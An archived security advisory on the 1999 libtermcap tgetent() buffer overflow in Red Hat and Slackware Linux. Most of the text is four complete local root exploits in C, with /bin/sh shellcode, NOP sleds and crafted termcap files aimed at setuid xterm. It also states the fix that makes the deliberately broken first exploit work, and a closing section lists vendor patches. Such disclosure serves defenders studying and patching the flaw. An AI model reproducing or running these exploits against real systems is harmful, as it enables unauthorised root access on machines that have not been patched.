COMMAND
libtermcap tgetent()
SYSTEMS AFFECTED
Red Hat Linux 4.2, 5.2, 6.0, all architectures, SlackWare 3.x
PROBLEM
Following is based on Red Hat Security Advisory. A buffer
overflow existed in libtermcap's tgetent() function, which could
cause the user to execute arbitrary code if they were able to
supply their own termcap file. Under Red Hat Linux 5.2 and 4.2,
this could lead to local users gaining root privileges, as xterm
(as well as other possibly setuid programs) are linked against
libtermcap. Under Red Hat Linux 6.0, xterm is not setuid root.
Thanks go to Kevin Vajk and the Linux Security Audit team for
noting and providing a fix for this vulnerability.
'sk8' wrote this a little while back. This is a serious bug,
so people should be able to test their systems properly. All
admins should definitely upgrade to the newest libtermcap.
/* Local exploit for suid root programs linked to libtermcap < 2.0.8-15
*
* tested with xterm and nxterm on RedHat 5.2 and 4.2
*
* sk8@lucid-solutions.com
* http://www.lucid-solutions.com
*
* Usage:
* ./smashcap -default is buffer size of 4210 and offset of 300
* and seems to work on RH 5.2
*
* Adjust offsets (somewhere between 230 - 1140) if necessary
*
* ./smashcap <offset> -buffer size defaults to 4210
* ./smashcap <offset> <buffersize>
*
*
* In order to stop script kids/opportunists, one MINOR change must be
* made in order for this to work.
*
* Use only to test your machines to show you that you must patch libtermcap.
* Quick fix, chmod u-s ALL suid root programs linked with libtermcap.
*
* - sk8 of LS
*
*/
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#define filename "/tmp/lstermcap"
#define entry1 "xterm|"
#define DEFAULT_BUFSIZE 4210
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff\xff/bin/sh"; /* Linux shellcode */
long get_sp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(int argc, char *argv[]) {
int bufsize, offset, i, fd;
long *bufptr;
char *ptr, *buffer, *tempbuf;
setenv("TERMCAP", "/tmp/lstermcap", 1);
bufsize=DEFAULT_BUFSIZE;
if (argc > 2) bufsize=atoi(argv[2]);
if (argc > 1) offset=atoi(argv[1]);
else offset=300;
printf("bufsize: %i\noffset: %i\n", bufsize,offset);
if(!(buffer = malloc(bufsize))) {
printf("can't allocate enough memory\n");
exit(0);
}
if(!(tempbuf = malloc(bufsize+strlen(entry1) ))) {
printf("can't allocate enough memory\n");
exit(0);
}
printf("get_sp(): 0x%x\n", get_sp());
printf("get_sp()-offs: 0x%x\n", (get_sp()-offset) );
ptr=buffer;
bufptr = (long *)(buffer+2); /* align */
for (i = 0; i < bufsize; i += 4)
*(bufptr++) = (get_sp()-offset);
for (i = 0; i < (bufsize/2); i++)
buffer[i] = 0x90;
ptr=buffer + ((bufsize/2) - strlen(shellcode)/2);
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i]; //shellcode
ptr=ptr+24;
/* now insert the characters : and \ into the termcap - these are vital
*/
*(ptr++)=0x3a;
*(ptr++)=0x5c;
snprintf(tempbuf, (bufsize+strlen(entry1)), "%s%s%s", entry1, buffer);
fd = open(filename, O_WRONLY|O_CREAT|O_TRUNC, 0666);
write (fd, tempbuf, strlen(tempbuf));
close(fd);
printf("made termcap\n");
execl("/usr/X11R6/bin/xterm","xterm", 0);
}
To make the smashcap.c work , all you have to do is remove one
0xff character before /bin/sh in the shellcode so the line would
be:
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
instead of:
"\x80\xe8\xdc\xff\xff\xff\xff/bin/sh"
Also, you'll have to be on console running x to exploit it, but if
you have another box where you can start x then it's ok
myhost$ startx;xhost +victim.com
victim$ ./smashcap
and modify the last line from the smashcap.c into
execl("/usr/X11R6/bin/xterm","xterm", "-display", "victim.com:0", 0);
Well, it works on most redhats (tested on 5.1 and 5.2). On
slackware it sigsegv's, you need to work a little bit.
Jose Luis Martinez Arranz posted another libtermcap xterm exploit:
/*
****************************************************
*** libtermcap xterm exploit ***
*** by m0f0 1999 ***
*** ***
*** it works for xterm/nxterm ***
*** Tested Slackware 3.2, 3.3, 3.5, 3.6 & RH5.2 ***
****************************************************
*/
#include <stdio.h>
#define BUF_SIZE 5000
#define POS_RET 2000
#define POS_SEP 3000
#define RETADDR 0xbfffefef
#define EGG "/tmp/egg_termcap"
// shellcode
char shellcode[] = // 48 caracteres
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
void main (int argc, char *argv[]) {
int i;
FILE *f;
char buf[BUF_SIZE];
long retaddr, offset;
printf ("\n");
printf ("****************************************** \n");
printf ("* libtermcap xterm exploit, by m0f0 1999 * \n");
printf ("****************************************** \n\n");
printf ("Use : %s [offset] \n", argv[0]);
offset = 0;
if (argc>1) {
offset = atol (argv[1]);
}
retaddr = RETADDR + offset;
printf ("Return Address = 0x%x \n",retaddr);
// Fill buffer with NOP's
memset (buf, 0x90, BUF_SIZE);
buf[BUF_SIZE]=0;
// Set termcap file header and sep
memcpy (buf, "xterm|", 6);
memcpy (buf+POS_SEP,":\\",2);
// Return Address
for (i=POS_RET; i<=POS_SEP-10; i+=4) {
*(long*)(buf+i) = (long) retaddr;
}
// Copy shellCode
for (i=0; i<strlen(shellcode); i++) {
buf[i+2000] = shellcode[i];
}
// Write EGG_TERMCAP
f = fopen (EGG,"w");
fprintf (f,"%s",buf);
fclose (f);
// Export TERMCAP
setenv ("TERMCAP", EGG, 1);
// Run program
execl ("/usr/X11R6/bin/xterm","xterm",NULL);
}
Taeho Oh has his version of it:
/*
xterm exploit code for x86 linux
tgetent function buffer overflow
Local user can gain root access.
Tested redhat linux : 5.0, 5.1
Tested termcap : 9.12.6
Usage
$ xterm-ex 0
|
+------ try from -2000 to 2000 ( try in steps of 500 )
This program is only for demonstrative use only.
USE IT AT YOUR OWN RISK!
Programmed by Taeho Oh 1999/08/31
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus
PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug
*/
#include <stdio.h>
#include <stdlib.h>
#define OFFSET -2000
#define RET_POSITION 3160
#define RANGE 20
#define NOP 0x90
char shellcode[1024]=
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */
unsigned long get_esp(void)
{
__asm__("movl %esp,%eax");
}
int main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+1],*ptr;
long *addr_ptr,addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
int i;
FILE *file;
printf("Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara\n");
printf("PLUS ( Postech Laboratory for Unix Security ) http://postech.edu/plus\n");
printf("PosLUG ( Postech Linux User Group ) http://postech.edu/group/poslug\n\n");
if(argc>1)
offset+=atoi(argv[1]);
sp=get_esp();
addr=sp-offset;
ptr=buff;
addr_ptr=(long*)ptr;
for(i=0;i<bsize;i+=4)
*(addr_ptr++)=addr;
for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
buff[i]=NOP;
ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];
buff[bsize-1]='\0';
buff[bsize-2]='A';
buff[bsize-3]='\\';
buff[bsize-4]=':';
buff[0]='x';
buff[1]='t';
buff[2]='e';
buff[3]='r';
buff[4]='m';
buff[5]='|';
file=fopen("/tmp/termcap","w");
fwrite(buff,sizeof(char),bsize,file);
fclose(file);
putenv("TERMCAP=/tmp/termcap");
printf("Jump to 0x%08x\n",addr);
execl("/usr/X11R6/bin/xterm",0);
}
Huh, another one:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
// yet another lame libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback)
// only made this to bypass nonexecutable stack patches - http://teso.scene.at/
// Redhat 6 offsets (i only needed these)
int sys = 0x401bca40; // system
int sh = 0x4025ab12; // /bin/sh
int exi = 0x4020b910; // _exit
int ran = 0x401b9928; // random offset in libc
int eip = 2136;
#define fil "/tmp/teso_termcap"
#define xte "/usr/X11R6/bin/xterm"
#define entry "xterm|"
int main(int argc, char **argv) {
char *buf;
int fd, buflen;
argv++;
if (argc>1) // dec,!hex args
sys = atoi(*(argv++));
if (argc>2)
sh = atoi(*(argv++));
if (argc>3)
exi = atoi(*(argv++));
if (argc>4)
eip = atoi(*(argv++));
buflen = eip + 20;
buf = (char *) malloc(buflen);
memset(buf, 'x', buflen);
buf[buflen] = 0;
memcpy(buf, entry, strlen(entry));
memcpy (buf+buflen-4,":\\y",3);
memcpy(buf+eip,&sys,4);
memcpy(buf+eip+4,&exi,4);
memcpy(buf+eip+8,&sh,4);
memcpy(buf+eip+12,&ran,4);
if ( (fd = open(fil, O_WRONLY|O_CREAT|O_TRUNC, "644"))<0) {
perror("cannot create file");
exit(EXIT_FAILURE);
}
write(fd,buf,buflen);
close(fd);
free(buf);
setenv("TERMCAP", fil, 1);
execl(xte, "xterm", NULL);
exit(EXIT_SUCCESS);
}
SOLUTION
Patches:
ftp://ftp.redhat.com/redhat/updates/4.2/i386/libtermcap-2.0.8-14.4.2.i386.rpm
ftp://ftp.redhat.com/redhat/updates/4.2/i386/libtermcap-devel-2.0.8-14.4.2.i386.rpm
ftp://ftp.redhat.com/redhat/updates/4.2/alpha/libtermcap-2.0.8-14.4.2.alpha.rpm
ftp://ftp.redhat.com/redhat/updates/4.2/alpha/libtermcap-devel-2.0.8-14.4.2.alpha.rpm
ftp://ftp.redhat.com/redhat/updates/4.2/sparc/libtermcap-2.0.8-14.4.2.sparc.rpm
ftp://ftp.redhat.com/redhat/updates/4.2/sparc/libtermcap-devel-2.0.8-14.4.2.sparc.rpm
ftp://ftp.redhat.com/redhat/updates/4.2/SRPMS/libtermcap-2.0.8-14.4.2.src.rpm
ftp://ftp.redhat.com/redhat/updates/5.2/i386/libtermcap-2.0.8-14.5.2.i386.rpm
ftp://ftp.redhat.com/redhat/updates/5.2/i386/libtermcap-devel-2.0.8-14.5.2.i386.rpm
ftp://ftp.redhat.com/redhat/updates/5.2/alpha/libtermcap-2.0.8-14.5.2.alpha.rpm
ftp://ftp.redhat.com/redhat/updates/5.2/alpha/libtermcap-devel-2.0.8-14.5.2.alpha.rpm
ftp://ftp.redhat.com/redhat/updates/5.2/sparc/libtermcap-2.0.8-14.5.2.sparc.rpm
ftp://ftp.redhat.com/redhat/updates/5.2/sparc/libtermcap-devel-2.0.8-14.5.2.sparc.rpm
ftp://ftp.redhat.com/redhat/updates/5.2/SRPMS/libtermcap-2.0.8-14.5.2.src.rpm
ftp://ftp.redhat.com/redhat/updates/6.0/i386/libtermcap-2.0.8-15.i386.rpm
ftp://ftp.redhat.com/redhat/updates/6.0/i386/libtermcap-devel-2.0.8-15.i386.rpm
ftp://ftp.redhat.com/redhat/updates/6.0/alpha/libtermcap-2.0.8-15.alpha.rpm
ftp://ftp.redhat.com/redhat/updates/6.0/alpha/libtermcap-devel-2.0.8-15.alpha.rpm
ftp://ftp.redhat.com/redhat/updates/6.0/sparc/libtermcap-2.0.8-15.sparc.rpm
ftp://ftp.redhat.com/redhat/updates/6.0/sparc/libtermcap-devel-2.0.8-15.sparc.rpm
ftp://ftp.redhat.com/redhat/updates/6.0/SRPMS/libtermcap-2.0.8-15.src.rpm
Debian itself is not exploitable by this bug since termcap was
abandoned in favour of terminfo long ago. However, if you have
compiled your own programs using termcap or have installed third
party programs that depend on libtermcap and run as root they are
exploitable.
ftp://ftp.debian.org/debian/dists/slink-proposed-updates/termcap-compat_1.1.1.1.0slink1.dsc
ftp://ftp.debian.org/debian/dists/slink-proposed-updates/termcap-compat_1.1.1.1.0slink1.tar.gz
ftp://ftp.debian.org/debian/dists/slink-proposed-updates/termcap-compat_1.1.1.1.0slink1_sparc.deb
ftp://ftp.debian.org/debian/dists/slink-proposed-updates/termcap-compat_1.1.1.1.0slink1_i386.deb
ftp://ftp.debian.org/debian/dists/slink-proposed-updates/termcap-compat_1.1.1.1.0slink1_m68k.deb
ftp://ftp.debian.org/debian/dists/slink-proposed-updates/termcap-compat_1.1.1.1.0slink1_alpha.deb
Caldera OpenLinux has stopped using termcap altogether since
release 2.2. Doing an rpm -qlv ncurses-termcap-devel reveals that
libtermcap.so is a symlink to libncurses.